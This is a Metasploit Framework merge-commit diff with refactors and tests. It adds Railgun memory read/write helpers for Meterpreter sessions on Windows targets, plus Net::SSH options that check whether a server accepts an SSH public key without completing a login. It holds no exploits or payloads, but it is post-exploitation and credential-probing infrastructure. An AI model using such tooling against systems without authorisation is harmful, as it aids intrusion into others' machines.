Merge branch 'master' of r7.github.com:rapid7/metasploit-framework
commit
4b924bef1c
4
README
4
README
|
@ -48,12 +48,16 @@ This license does not apply to the following components:
|
||||||
- The Ruby-Lorcon library located under external/ruby-lorcon
|
- The Ruby-Lorcon library located under external/ruby-lorcon
|
||||||
- The SNMP library located under lib/snmp
|
- The SNMP library located under lib/snmp
|
||||||
- The Zip library located under lib/zip
|
- The Zip library located under lib/zip
|
||||||
|
- The SSHKey library located under lib/sshkey
|
||||||
|
|
||||||
The latest version of this software is available from http://metasploit.com/
|
The latest version of this software is available from http://metasploit.com/
|
||||||
|
|
||||||
Bug tracking and development information can be found at:
|
Bug tracking and development information can be found at:
|
||||||
https://dev.metasploit.com/redmine/projects/framework/
|
https://dev.metasploit.com/redmine/projects/framework/
|
||||||
|
|
||||||
|
The public GitHub source repository can be found at:
|
||||||
|
https://github.com/rapid7/metasploit-framework
|
||||||
|
|
||||||
Questions and suggestions can be sent to:
|
Questions and suggestions can be sent to:
|
||||||
msfdev[at]metasploit.com
|
msfdev[at]metasploit.com
|
||||||
|
|
||||||
|
|
|
@ -5,18 +5,47 @@ class Cred < ActiveRecord::Base
|
||||||
include DBSave
|
include DBSave
|
||||||
belongs_to :service
|
belongs_to :service
|
||||||
|
|
||||||
def ssh_key_matches?(other)
|
KEY_ID_REGEX = /([0-9a-fA-F:]{47})/ # Could be more strict
|
||||||
return false unless other.kind_of? self.class
|
|
||||||
|
# Returns its workspace
|
||||||
|
def workspace
|
||||||
|
self.service.host.workspace
|
||||||
|
end
|
||||||
|
|
||||||
|
# Returns its key id. If this is not an ssh-type key, returns nil.
|
||||||
|
def ssh_key_id
|
||||||
|
return nil unless self.ptype =~ /^ssh_/
|
||||||
|
return nil unless self.proof =~ KEY_ID_REGEX
|
||||||
|
$1.downcase # Can't run into NilClass problems.
|
||||||
|
end
|
||||||
|
|
||||||
|
# Returns all private keys with matching key ids, including itself
|
||||||
|
# If this is not an ssh-type key, always returns an empty array.
|
||||||
|
def ssh_private_keys
|
||||||
|
return [] unless self.ssh_key_id
|
||||||
|
matches = self.class.all(:conditions => ["creds.ptype = ? AND creds.proof ILIKE ?", "ssh_key", "%#{self.ssh_key_id}%"])
|
||||||
|
matches.select {|c| c.workspace == self.workspace}
|
||||||
|
end
|
||||||
|
|
||||||
|
# Returns all public keys with matching key ids, including itself
|
||||||
|
# If this is not an ssh-type key, always returns an empty array.
|
||||||
|
def ssh_public_keys
|
||||||
|
return [] unless self.ssh_key_id
|
||||||
|
matches = self.class.all(:conditions => ["creds.ptype = ? AND creds.proof ILIKE ?", "ssh_pubkey", "%#{self.ssh_key_id}%"])
|
||||||
|
matches.select {|c| c.workspace == self.workspace}
|
||||||
|
end
|
||||||
|
|
||||||
|
# Returns all keys with matching key ids, including itself
|
||||||
|
# If this is not an ssh-type key, always returns an empty array.
|
||||||
|
def ssh_keys
|
||||||
|
(self.ssh_private_keys | self.ssh_public_keys)
|
||||||
|
end
|
||||||
|
|
||||||
|
def ssh_key_matches?(other_cred)
|
||||||
return false unless self.ptype == "ssh_key"
|
return false unless self.ptype == "ssh_key"
|
||||||
return false unless self.ptype == other.ptype
|
return false unless other_cred.ptype == self.ptype
|
||||||
return false unless other.proof
|
matches = self.ssh_private_keys
|
||||||
return false if other.proof.empty?
|
matches.include?(self) and matches.include?(other_cred)
|
||||||
return false unless self.proof
|
|
||||||
return false if self.proof.empty?
|
|
||||||
key_id_regex = /[0-9a-fA-F:]+/
|
|
||||||
my_key_id = self.proof[key_id_regex].to_s.downcase
|
|
||||||
other_key_id = other.proof[key_id_regex].to_s.downcase
|
|
||||||
my_key_id == other_key_id
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -0,0 +1,60 @@
|
||||||
|
require 'rex/post/meterpreter/extensions/stdapi/railgun/railgun'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
class Post
|
||||||
|
module Windows
|
||||||
|
module Railgun
|
||||||
|
|
||||||
|
# Go through each dll and add a corresponding convenience method of the same name
|
||||||
|
Rex::Post::Meterpreter::Extensions::Stdapi::Railgun::Railgun::BUILTIN_DLLS.each do |api|
|
||||||
|
# We will be interpolating within an eval. We exercise due paranoia.
|
||||||
|
unless api.to_s =~ /^\w+$/
|
||||||
|
print_error 'Something is seriously wrong with Railgun.BUILTIN_DLLS list'
|
||||||
|
next
|
||||||
|
end
|
||||||
|
|
||||||
|
# don't override existing methods
|
||||||
|
if method_defined? api.to_sym
|
||||||
|
# We don't warn as the override may have been intentional
|
||||||
|
next
|
||||||
|
end
|
||||||
|
|
||||||
|
# evaling a String is faster than calling define_method
|
||||||
|
eval "def #{api.to_s}; railgun.#{api.to_s}; end"
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Return an array of windows constants names matching +winconst+
|
||||||
|
#
|
||||||
|
def select_const_names(winconst, filter_regex=nil)
|
||||||
|
railgun.constant_manager.select_const_names(winconst, filter_regex)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Returns an array of windows error code names for a given windows error code matching +err_code+
|
||||||
|
#
|
||||||
|
def lookup_error (err_code, filter_regex=nil)
|
||||||
|
select_const_names(err_code, /^ERROR_/).select do |name|
|
||||||
|
name =~ filter_regex
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def memread(address, length)
|
||||||
|
railgun.memread(address, length)
|
||||||
|
end
|
||||||
|
|
||||||
|
def memwrite(address, length)
|
||||||
|
railgun.memwrite(address, length)
|
||||||
|
end
|
||||||
|
|
||||||
|
def railgun
|
||||||
|
client.railgun
|
||||||
|
end
|
||||||
|
|
||||||
|
def pointer_size
|
||||||
|
railgun.util.pointer_size
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -2201,6 +2201,10 @@ class Core
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def cmd_pushm_tabs(str, words)
|
||||||
|
tab_complete_module(str, words)
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Help for the 'pushm' command
|
# Help for the 'pushm' command
|
||||||
#
|
#
|
||||||
|
@ -2251,17 +2255,9 @@ class Core
|
||||||
# Tab completion for the use command
|
# Tab completion for the use command
|
||||||
#
|
#
|
||||||
def cmd_use_tabs(str, words)
|
def cmd_use_tabs(str, words)
|
||||||
res = []
|
return [] if words.length > 1
|
||||||
return res if words.length > 1
|
|
||||||
|
|
||||||
framework.modules.module_types.each do |mtyp|
|
tab_complete_module(str, words)
|
||||||
mset = framework.modules.module_names(mtyp)
|
|
||||||
mset.each do |mref|
|
|
||||||
res << mtyp + '/' + mref
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
return res.sort
|
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -2276,6 +2272,22 @@ class Core
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Tab complete module names
|
||||||
|
#
|
||||||
|
def tab_complete_module(str, words)
|
||||||
|
res = []
|
||||||
|
framework.modules.module_types.each do |mtyp|
|
||||||
|
mset = framework.modules.module_names(mtyp)
|
||||||
|
mset.each do |mref|
|
||||||
|
res << mtyp + '/' + mref
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
return res.sort
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# Provide tab completion for option values
|
# Provide tab completion for option values
|
||||||
#
|
#
|
||||||
|
|
|
@ -71,7 +71,7 @@ module Net
|
||||||
:rekey_limit, :rekey_packet_limit, :timeout, :verbose,
|
:rekey_limit, :rekey_packet_limit, :timeout, :verbose,
|
||||||
:global_known_hosts_file, :user_known_hosts_file, :host_key_alias,
|
:global_known_hosts_file, :user_known_hosts_file, :host_key_alias,
|
||||||
:host_name, :user, :properties, :passphrase, :msframework, :msfmodule,
|
:host_name, :user, :properties, :passphrase, :msframework, :msfmodule,
|
||||||
:record_auth_info
|
:record_auth_info, :skip_private_keys, :accepted_key_callback, :disable_agent
|
||||||
]
|
]
|
||||||
|
|
||||||
# The standard means of starting a new SSH connection. When used with a
|
# The standard means of starting a new SSH connection. When used with a
|
||||||
|
@ -196,7 +196,7 @@ module Net
|
||||||
# Tell MSF not to auto-close this socket anymore...
|
# Tell MSF not to auto-close this socket anymore...
|
||||||
# This allows the transport socket to surive with the session.
|
# This allows the transport socket to surive with the session.
|
||||||
if options[:msfmodule]
|
if options[:msfmodule]
|
||||||
options[:msfmodule].remove_socket(transport.socket)
|
options[:msfmodule].remove_socket(transport.socket)
|
||||||
end
|
end
|
||||||
|
|
||||||
if block_given?
|
if block_given?
|
||||||
|
@ -206,7 +206,7 @@ module Net
|
||||||
return connection
|
return connection
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
transport.close
|
transport.close
|
||||||
raise AuthenticationFailed, user
|
raise AuthenticationFailed, user
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -121,10 +121,16 @@ module Net
|
||||||
end
|
end
|
||||||
|
|
||||||
key_data.each do |data|
|
key_data.each do |data|
|
||||||
private_key = KeyFactory.load_data_private_key(data)
|
if @options[:skip_private_keys]
|
||||||
key = private_key.send(:public_key)
|
key = KeyFactory.load_data_public_key(data)
|
||||||
known_identities[key] = { :from => :key_data, :data => data, :key => private_key }
|
known_identities[key] = { :from => :key_data, :data => data }
|
||||||
yield key
|
yield key
|
||||||
|
else
|
||||||
|
private_key = KeyFactory.load_data_private_key(data)
|
||||||
|
key = private_key.send(:public_key)
|
||||||
|
known_identities[key] = { :from => :key_data, :data => data, :key => private_key }
|
||||||
|
yield key
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
self
|
self
|
||||||
|
@ -165,6 +171,7 @@ module Net
|
||||||
|
|
||||||
# Identifies whether the ssh-agent will be used or not.
|
# Identifies whether the ssh-agent will be used or not.
|
||||||
def use_agent?
|
def use_agent?
|
||||||
|
return false if @options[:disable_agent]
|
||||||
@use_agent
|
@use_agent
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -54,6 +54,23 @@ module Net
|
||||||
|
|
||||||
case message.type
|
case message.type
|
||||||
when USERAUTH_PK_OK
|
when USERAUTH_PK_OK
|
||||||
|
debug { "publickey will be accepted (#{identity.fingerprint})" }
|
||||||
|
|
||||||
|
# The key is accepted by the server, trigger a callback if set
|
||||||
|
if session.accepted_key_callback
|
||||||
|
session.accepted_key_callback.call({ :user => username, :fingerprint => identity.fingerprint, :key => identity.dup })
|
||||||
|
end
|
||||||
|
|
||||||
|
if session.skip_private_keys
|
||||||
|
if session.options[:record_auth_info]
|
||||||
|
session.auth_info[:method] = "publickey"
|
||||||
|
session.auth_info[:user] = username
|
||||||
|
session.auth_info[:pubkey_data] = identity.inspect
|
||||||
|
session.auth_info[:pubkey_id] = identity.fingerprint
|
||||||
|
end
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
|
||||||
buffer = build_request(identity, username, next_service, true)
|
buffer = build_request(identity, username, next_service, true)
|
||||||
sig_data = Net::SSH::Buffer.new
|
sig_data = Net::SSH::Buffer.new
|
||||||
sig_data.write_string(session_id)
|
sig_data.write_string(session_id)
|
||||||
|
|
|
@ -34,6 +34,12 @@ module Net; module SSH; module Authentication
|
||||||
# when a successful auth is made, note the auth info if session.options[:record_auth_info]
|
# when a successful auth is made, note the auth info if session.options[:record_auth_info]
|
||||||
attr_accessor :auth_info
|
attr_accessor :auth_info
|
||||||
|
|
||||||
|
# when a public key is accepted (even if not used), trigger a callback
|
||||||
|
attr_accessor :accepted_key_callback
|
||||||
|
|
||||||
|
# when we only want to test a key and not login
|
||||||
|
attr_accessor :skip_private_keys
|
||||||
|
|
||||||
# Instantiates a new Authentication::Session object over the given
|
# Instantiates a new Authentication::Session object over the given
|
||||||
# transport layer abstraction.
|
# transport layer abstraction.
|
||||||
def initialize(transport, options={})
|
def initialize(transport, options={})
|
||||||
|
@ -43,7 +49,9 @@ module Net; module SSH; module Authentication
|
||||||
@auth_methods = options[:auth_methods] || %w(publickey hostbased password keyboard-interactive)
|
@auth_methods = options[:auth_methods] || %w(publickey hostbased password keyboard-interactive)
|
||||||
@options = options
|
@options = options
|
||||||
|
|
||||||
@allowed_auth_methods = @auth_methods
|
@allowed_auth_methods = @auth_methods
|
||||||
|
@skip_private_keys = options[:skip_private_keys] || false
|
||||||
|
@accepted_key_callback = options[:accepted_key_callback]
|
||||||
@auth_info = {}
|
@auth_info = {}
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -5,6 +5,8 @@ require 'test/unit'
|
||||||
require 'rex'
|
require 'rex'
|
||||||
|
|
||||||
require 'railgun/api_constants.rb.ut'
|
require 'railgun/api_constants.rb.ut'
|
||||||
|
require 'railgun/type/pointer_util.rb.ut'
|
||||||
|
require 'railgun/platform_util.rb.ut'
|
||||||
require 'railgun/buffer_item.rb.ut'
|
require 'railgun/buffer_item.rb.ut'
|
||||||
require 'railgun/dll_function.rb.ut'
|
require 'railgun/dll_function.rb.ut'
|
||||||
require 'railgun/dll_helper.rb.ut'
|
require 'railgun/dll_helper.rb.ut'
|
||||||
|
|
|
@ -0,0 +1,22 @@
|
||||||
|
module Rex
|
||||||
|
module Post
|
||||||
|
module Meterpreter
|
||||||
|
module Extensions
|
||||||
|
module Stdapi
|
||||||
|
module Railgun
|
||||||
|
module PlatformUtil
|
||||||
|
|
||||||
|
X86_64 = :x86_64
|
||||||
|
X86_32 = :x86_32
|
||||||
|
|
||||||
|
def self.parse_client_platform(meterp_client_platform)
|
||||||
|
meterp_client_platform =~ /win64/ ? X86_64 : X86_32
|
||||||
|
end
|
||||||
|
|
||||||
|
end # PlatformUtil
|
||||||
|
end # Railgun
|
||||||
|
end # Stdapi
|
||||||
|
end # Extensions
|
||||||
|
end # Meterpreter
|
||||||
|
end # Post
|
||||||
|
end # Rex
|
|
@ -0,0 +1,28 @@
|
||||||
|
#!/usr/bin/env ruby
|
||||||
|
|
||||||
|
$:.unshift(File.join(File.dirname(__FILE__), '..','..','..','..','..', '..', '..', 'lib'))
|
||||||
|
|
||||||
|
require 'rex/post/meterpreter/extensions/stdapi/railgun/platform_util'
|
||||||
|
require 'rex/post/meterpreter/extensions/stdapi/railgun/mock_magic'
|
||||||
|
require 'test/unit'
|
||||||
|
|
||||||
|
module Rex
|
||||||
|
module Post
|
||||||
|
module Meterpreter
|
||||||
|
module Extensions
|
||||||
|
module Stdapi
|
||||||
|
module Railgun
|
||||||
|
class PlatformUtil::UnitTest < Test::Unit::TestCase
|
||||||
|
def test_parse_client_platform
|
||||||
|
assert_equal(PlatformUtil.parse_client_platform('x86/win32'), PlatformUtil::X86_32,
|
||||||
|
'parse_client_platform should translate Win32 client platforms')
|
||||||
|
assert_equal(PlatformUtil.parse_client_platform('x86/win64'), PlatformUtil::X86_64,
|
||||||
|
'parse_client_platform should translate Win64 client platforms')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -61,9 +61,9 @@ class Railgun
|
||||||
# definition class 'rex/post/meterpreter/extensions/stdapi/railgun/def/'.
|
# definition class 'rex/post/meterpreter/extensions/stdapi/railgun/def/'.
|
||||||
# Naming is important and should follow convention. For example, if your
|
# Naming is important and should follow convention. For example, if your
|
||||||
# dll's name was "my_dll"
|
# dll's name was "my_dll"
|
||||||
# file name:: def_my_dll.rb
|
# file name: def_my_dll.rb
|
||||||
# class name:: Def_my_dll
|
# class name: Def_my_dll
|
||||||
# entry below:: 'my_dll'
|
# entry below: 'my_dll'
|
||||||
#
|
#
|
||||||
BUILTIN_DLLS = [
|
BUILTIN_DLLS = [
|
||||||
'kernel32',
|
'kernel32',
|
||||||
|
@ -104,6 +104,10 @@ class Railgun
|
||||||
self.dlls = {}
|
self.dlls = {}
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def self.builtin_dlls
|
||||||
|
BUILTIN_DLLS
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Return this Railgun's Util instance.
|
# Return this Railgun's Util instance.
|
||||||
#
|
#
|
||||||
|
@ -184,8 +188,8 @@ class Railgun
|
||||||
|
|
||||||
# For backwards compatibility, we ensure the dll is thawed
|
# For backwards compatibility, we ensure the dll is thawed
|
||||||
if dll.frozen?
|
if dll.frozen?
|
||||||
# dup will copy values, but not the frozen status
|
# Duplicate not only the dll, but its functions as well. Frozen status will be lost
|
||||||
dll = dll.dup
|
dll = Marshal.load(Marshal.dump(dll))
|
||||||
|
|
||||||
# Update local dlls with the modifiable duplicate
|
# Update local dlls with the modifiable duplicate
|
||||||
dlls[dll_name] = dll
|
dlls[dll_name] = dll
|
||||||
|
@ -278,22 +282,6 @@ class Railgun
|
||||||
return constant_manager.parse(str)
|
return constant_manager.parse(str)
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Return an array of windows constants names matching +winconst+
|
|
||||||
#
|
|
||||||
|
|
||||||
def const_reverse_lookup(winconst,filter_regex=nil)
|
|
||||||
return constant_manager.rev_lookup(winconst,filter_regex)
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# Returns an array of windows error code names for a given windows error code matching +err_code+
|
|
||||||
#
|
|
||||||
|
|
||||||
def error_lookup (err_code,filter_regex=/^ERROR_/)
|
|
||||||
return constant_manager.rev_lookup(err_code,filter_regex)
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# The multi-call shorthand (["kernel32", "ExitProcess", [0]])
|
# The multi-call shorthand (["kernel32", "ExitProcess", [0]])
|
||||||
#
|
#
|
||||||
|
|
|
@ -120,6 +120,14 @@ class Railgun::UnitTest < Test::Unit::TestCase
|
||||||
|
|
||||||
assert(!unfrozen_dll.frozen?,
|
assert(!unfrozen_dll.frozen?,
|
||||||
"add_function should create a local unfrozen instance that get_dll can then access")
|
"add_function should create a local unfrozen instance that get_dll can then access")
|
||||||
|
|
||||||
|
railgun2 = Railgun.new(make_mock_client())
|
||||||
|
|
||||||
|
assert(!railgun2.get_dll(dll_name).functions.has_key?('__lolz'),
|
||||||
|
"functions added to one instance of railgun should not be accessible to others")
|
||||||
|
|
||||||
|
assert_not_same(!railgun2.get_dll(dll_name).functions, unfrozen_dll.functions,
|
||||||
|
"function hash should have been duplicated during unfreeze")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,105 @@
|
||||||
|
require 'rex/post/meterpreter/extensions/stdapi/railgun/platform_util'
|
||||||
|
|
||||||
|
module Rex
|
||||||
|
module Post
|
||||||
|
module Meterpreter
|
||||||
|
module Extensions
|
||||||
|
module Stdapi
|
||||||
|
module Railgun
|
||||||
|
module Type
|
||||||
|
module PointerUtil
|
||||||
|
|
||||||
|
ARCH_POINTER_SIZE = {
|
||||||
|
PlatformUtil::X86_64 => 8,
|
||||||
|
PlatformUtil::X86_32 => 4
|
||||||
|
}.freeze
|
||||||
|
|
||||||
|
# Returns the pointer size for this architecture. Should accept client or platform or arch
|
||||||
|
def self.pointer_size(platform)
|
||||||
|
ARCH_POINTER_SIZE[platform]
|
||||||
|
end
|
||||||
|
|
||||||
|
def self.pack_pointer(pointer, platform)
|
||||||
|
if pointer.nil?
|
||||||
|
return pack_pointer(0, platform)
|
||||||
|
end
|
||||||
|
|
||||||
|
case platform
|
||||||
|
when PlatformUtil::X86_64
|
||||||
|
# XXX: Only works if attacker and victim are like-endianed
|
||||||
|
[pointer].pack('Q')
|
||||||
|
when PlatformUtil::X86_32
|
||||||
|
[pointer].pack('V')
|
||||||
|
else
|
||||||
|
raise "platform symbol #{platform.to_s} not supported"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Given a packed pointer, unpack it according to architecture
|
||||||
|
def self.unpack_pointer(packed_pointer, platform)
|
||||||
|
case platform
|
||||||
|
when PlatformUtil::X86_64
|
||||||
|
# XXX: Only works if attacker and victim are like-endianed
|
||||||
|
packed_pointer.unpack('Q').first
|
||||||
|
when PlatformUtil::X86_32
|
||||||
|
packed_pointer.unpack('V').first
|
||||||
|
else
|
||||||
|
raise "platform symbol #{platform.to_s} not supported"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def self.null_pointer(pointer, platform)
|
||||||
|
pack_pointer(0, platform)
|
||||||
|
end
|
||||||
|
|
||||||
|
###
|
||||||
|
# Summary: Returns true if pointer will be considered a 'null' pointer
|
||||||
|
#
|
||||||
|
# If given nil, returns true
|
||||||
|
# If given 0, returns true
|
||||||
|
# If given a string, if 0 after unpacking, returns true
|
||||||
|
# false otherwise
|
||||||
|
##
|
||||||
|
def self.is_null_pointer?(pointer, platform)
|
||||||
|
if pointer.kind_of?(String)
|
||||||
|
pointer = unpack_pointer(pointer, platform)
|
||||||
|
end
|
||||||
|
|
||||||
|
return pointer.nil? || pointer == 0
|
||||||
|
end
|
||||||
|
#
|
||||||
|
# def self.is_unpacked_pointer?(pointer, platform)
|
||||||
|
# # TODO also check that the integer size is appropriate for the platform
|
||||||
|
# unless pointer.kind_of?(Fixnum) and pointer > 0 # and pointer <
|
||||||
|
# return false
|
||||||
|
# end
|
||||||
|
#
|
||||||
|
# packed_pointer = pack_pointer(pointer, platform)
|
||||||
|
# if !packed_pointer.nil? and packed_pointer.length == pointer_size(platform)
|
||||||
|
# return true
|
||||||
|
# end
|
||||||
|
#
|
||||||
|
# return false
|
||||||
|
# end
|
||||||
|
#
|
||||||
|
# Returns true if the data type is a pointer, false otherwise
|
||||||
|
def self.is_pointer_type?(type)
|
||||||
|
if type == :pointer
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
|
||||||
|
if type.kind_of?(String) && type =~ /^L?P/
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
end # PointerUtil
|
||||||
|
end # Type
|
||||||
|
end # Railgun
|
||||||
|
end # Stdapi
|
||||||
|
end # Extensions
|
||||||
|
end # Meterpreter
|
||||||
|
end # Post
|
||||||
|
end # Rex
|
|
@ -0,0 +1,127 @@
|
||||||
|
#!/usr/bin/env ruby
|
||||||
|
|
||||||
|
$:.unshift(File.join(File.dirname(__FILE__), '..', '..','..','..','..','..', '..', '..', 'lib'))
|
||||||
|
|
||||||
|
require 'rex/post/meterpreter/extensions/stdapi/railgun/type/pointer_util'
|
||||||
|
require 'rex/post/meterpreter/extensions/stdapi/railgun/platform_util'
|
||||||
|
require 'rex/post/meterpreter/extensions/stdapi/railgun/mock_magic'
|
||||||
|
require 'test/unit'
|
||||||
|
|
||||||
|
module Rex
|
||||||
|
module Post
|
||||||
|
module Meterpreter
|
||||||
|
module Extensions
|
||||||
|
module Stdapi
|
||||||
|
module Railgun
|
||||||
|
module Type
|
||||||
|
class PlatformUtil::UnitTest < Test::Unit::TestCase
|
||||||
|
|
||||||
|
include Rex::Post::Meterpreter::Extensions::Stdapi::Railgun::MockMagic
|
||||||
|
|
||||||
|
# memread value of win x86 pointer mapped to target unpack value
|
||||||
|
X86_32_POINTERS = {
|
||||||
|
"8D\x15\x00" => 1393720,
|
||||||
|
"\x1C\x84\x15\x00" => 1410076,
|
||||||
|
"\x0E\x84\x15\x00" => 1410062,
|
||||||
|
"\x02\x84\x15\x00" => 1410050,
|
||||||
|
"\xE6\x83\x15\x00" => 1410022,
|
||||||
|
"\xC4\x83\x15\x00" => 1409988,
|
||||||
|
"\x00\x00\x00\x00" => 0,
|
||||||
|
}
|
||||||
|
X86_64_POINTERS = {
|
||||||
|
"\x10^ \x00\x00\x00\x00\x00" => 2121232,
|
||||||
|
"\xCA\x9D \x00\x00\x00\x00\x00" => 2137546,
|
||||||
|
"\xC8\x9D \x00\x00\x00\x00\x00" => 2137544,
|
||||||
|
"Z\x9D \x00\x00\x00\x00\x00" => 2137434,
|
||||||
|
"X\x9D \x00\x00\x00\x00\x00" => 2137432,
|
||||||
|
"\x00\x00\x00\x00\x00\x00\x00\x00" => 0,
|
||||||
|
}
|
||||||
|
|
||||||
|
X86_64_NULL_POINTER = "\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||||
|
X86_32_NULL_POINTER = "\x00\x00\x00\x00"
|
||||||
|
|
||||||
|
X86_64 = PlatformUtil::X86_64
|
||||||
|
X86_32 = PlatformUtil::X86_32
|
||||||
|
|
||||||
|
def test_pack_pointer
|
||||||
|
X86_64_POINTERS.invert.each_pair do |unpacked, packed|
|
||||||
|
assert_equal(packed, PointerUtil.pack_pointer(unpacked.to_i, X86_64),
|
||||||
|
"pack_pointer should pack 64-bit numberic pointers")
|
||||||
|
end
|
||||||
|
|
||||||
|
X86_32_POINTERS.invert.each_pair do |unpacked, packed|
|
||||||
|
assert_equal(packed, PointerUtil.pack_pointer(unpacked.to_i, X86_32),
|
||||||
|
"pack_pointer should pack 32-bit numberic pointers")
|
||||||
|
end
|
||||||
|
|
||||||
|
assert_equal(X86_64_NULL_POINTER, PointerUtil.pack_pointer(nil, X86_64),
|
||||||
|
'pack_pointer should pack "nil" as a null pointer for x86_64')
|
||||||
|
|
||||||
|
assert_equal(X86_32_NULL_POINTER, PointerUtil.pack_pointer(nil, X86_32),
|
||||||
|
'pack_pointer should pack "nil" as a null pointer for x86_32')
|
||||||
|
|
||||||
|
assert_equal(X86_64_NULL_POINTER, PointerUtil.pack_pointer(0, X86_64),
|
||||||
|
'pack_pointer should pack numeric 0 as a null pointer for x86_64')
|
||||||
|
|
||||||
|
assert_equal(X86_32_NULL_POINTER, PointerUtil.pack_pointer(0, X86_32),
|
||||||
|
'pack_pointer should pack numeric 9 as a null pointer for x86_32')
|
||||||
|
end
|
||||||
|
|
||||||
|
def test_unpack_pointer
|
||||||
|
X86_64_POINTERS.each_pair do |packed, unpacked|
|
||||||
|
assert_equal(unpacked, PointerUtil.unpack_pointer(packed, X86_64),
|
||||||
|
"unpack_pointer should unpack 64-bit pointers")
|
||||||
|
end
|
||||||
|
|
||||||
|
X86_32_POINTERS.each_pair do |packed, unpacked|
|
||||||
|
assert_equal(unpacked, PointerUtil.unpack_pointer(packed, X86_32),
|
||||||
|
"unpack_pointer should unpack 32-bit pointers")
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def test_is_null_pointer
|
||||||
|
[X86_32, X86_64].each do |platform|
|
||||||
|
assert(PointerUtil.is_null_pointer?(nil, platform), 'nil should be a null pointer')
|
||||||
|
assert(PointerUtil.is_null_pointer?(0, platform), 'numeric 0 should be a null pointer')
|
||||||
|
end
|
||||||
|
|
||||||
|
assert_equal(true, PointerUtil.is_null_pointer?(X86_32_NULL_POINTER, X86_32),
|
||||||
|
'is_null_pointer? should return true for packed 32-bit null pointers')
|
||||||
|
|
||||||
|
assert_equal(true, PointerUtil.is_null_pointer?(X86_64_NULL_POINTER, X86_64),
|
||||||
|
'is_null_pointer? should return true for packed 64-bit null pointers')
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def test_pointer_size
|
||||||
|
assert_equal(8, PointerUtil.pointer_size(X86_64),
|
||||||
|
'pointer_size should report X86_64 arch as 8 (bytes)')
|
||||||
|
|
||||||
|
assert_equal(4, PointerUtil.pointer_size(X86_32),
|
||||||
|
'pointer_size should report X86_32 arch as 4 (bytes)')
|
||||||
|
end
|
||||||
|
|
||||||
|
def test_is_pointer_type
|
||||||
|
assert_equal(true, PointerUtil.is_pointer_type?(:pointer),
|
||||||
|
'pointer_type should return true for the symbol :pointer')
|
||||||
|
|
||||||
|
assert_equal(true, PointerUtil.is_pointer_type?('LPVOID'),
|
||||||
|
'pointer_type should return true if string begins with LP')
|
||||||
|
|
||||||
|
assert_equal(true, PointerUtil.is_pointer_type?('PDWORD'),
|
||||||
|
'pointer_type should return true if string begins with P')
|
||||||
|
|
||||||
|
assert_equal(false, PointerUtil.is_pointer_type?('LOLZ'),
|
||||||
|
'pointer_type should return false if not a pointer type')
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -33,6 +33,7 @@ module Railgun
|
||||||
# Manages our library of windows constants
|
# Manages our library of windows constants
|
||||||
#
|
#
|
||||||
class WinConstManager
|
class WinConstManager
|
||||||
|
attr_reader :consts
|
||||||
|
|
||||||
def initialize(initial_consts = {})
|
def initialize(initial_consts = {})
|
||||||
@consts = {}
|
@consts = {}
|
||||||
|
@ -40,12 +41,10 @@ class WinConstManager
|
||||||
initial_consts.each_pair do |name, value|
|
initial_consts.each_pair do |name, value|
|
||||||
add_const(name, value)
|
add_const(name, value)
|
||||||
end
|
end
|
||||||
|
|
||||||
# Load utility
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def add_const(name, value)
|
def add_const(name, value)
|
||||||
@consts[name] = value
|
consts[name] = value
|
||||||
end
|
end
|
||||||
|
|
||||||
# parses a string constaining constants and returns an integer
|
# parses a string constaining constants and returns an integer
|
||||||
|
@ -59,40 +58,37 @@ class WinConstManager
|
||||||
return_value = 0
|
return_value = 0
|
||||||
for one_const in s.split('|')
|
for one_const in s.split('|')
|
||||||
one_const = one_const.strip()
|
one_const = one_const.strip()
|
||||||
if not @consts.has_key? one_const
|
if not consts.has_key? one_const
|
||||||
return nil # at least one "Constant" is unknown to us
|
return nil # at least one "Constant" is unknown to us
|
||||||
end
|
end
|
||||||
return_value |= @consts[one_const]
|
return_value |= consts[one_const]
|
||||||
end
|
end
|
||||||
return return_value
|
return return_value
|
||||||
